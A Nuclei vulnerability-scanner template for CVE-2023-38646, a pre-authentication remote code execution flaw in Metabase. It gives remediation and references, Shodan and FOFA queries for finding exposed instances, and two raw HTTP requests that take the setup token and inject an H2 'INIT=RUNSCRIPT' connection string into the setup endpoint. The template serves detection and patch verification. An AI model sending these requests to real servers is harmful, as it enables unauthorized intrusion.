2023-07-28 19:49:14 +00:00
id : CVE-2023-38646
info :
name : Metabase < 0.46.6.1 - Remote Code Execution
author : rootxharsh,iamnoooob,pdresearch
severity : critical
description : |
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
2023-09-06 11:43:37 +00:00
remediation : |
Upgrade Metabase to version 0.46.6.1 or later to mitigate this vulnerability.
2023-07-28 19:49:14 +00:00
reference :
- https://www.metabase.com/blog/security-advisory
- https://github.com/metabase/metabase/releases/tag/v0.46.6.1
- https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
- https://news.ycombinator.com/item?id=36812256
- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
- https://gist.github.com/testanull/a7beb2777bbf550f3cf533d2794477fe
classification :
2023-08-31 11:46:18 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-07-28 19:49:14 +00:00
cve-id : CVE-2023-38646
2023-11-05 22:23:39 +00:00
epss-score : 0.60445
2023-11-18 12:52:17 +00:00
epss-percentile : 0.9746
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:metabase:metabase:*:*:*:*:-:*:*:*
2023-07-28 19:49:14 +00:00
metadata :
verified : true
max-request : 2
2023-08-31 11:46:18 +00:00
vendor : metabase
product : metabase
2023-09-06 11:43:37 +00:00
shodan-query : http.title:"Metabase"
fofa-query : app="Metabase"
2023-07-28 19:49:14 +00:00
tags : cve,cve2023,metabase,oss,rce
variables :
2023-08-31 11:46:18 +00:00
file : "./plugins/vertica.metabase-driver.jar"
2023-07-28 19:49:14 +00:00
http :
- raw :
- |
GET /api/session/properties HTTP/1.1
Host : {{Hostname}}
- |
POST /api/setup/validate HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{
"token" : "{{token}}" ,
"details" : {
"details" : {
"subprotocol" : "h2" ,
"classname" : "org.h2.Driver" ,
"advanced-options" : true ,
"subname" : "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{{file}}'//\\;"
},
"name" : "{{randstr}}" ,
"engine" : "postgres"
}
}
extractors :
- type : json
part : body_1
name : token
json :
- .["setup-token"]
internal : true
matchers :
- type : dsl
dsl :
- contains_any(body_2, "Syntax error in SQL statement","NoSuchFileException")
- status_code_2 == 400
2023-08-31 11:46:18 +00:00
condition : and
2023-11-19 08:30:54 +00:00
# digest: 4a0a0047304502200c8ff3a4fe1a69f7db3d4bb44c21b11520e35cfa0b9a40968744b51d4d5c4327022100847c807415143c760dc91cca839b9bfc4e48e83728a01cc6e4f1544cd1d7cebe:922c64590222798bb761d5b6d8e72950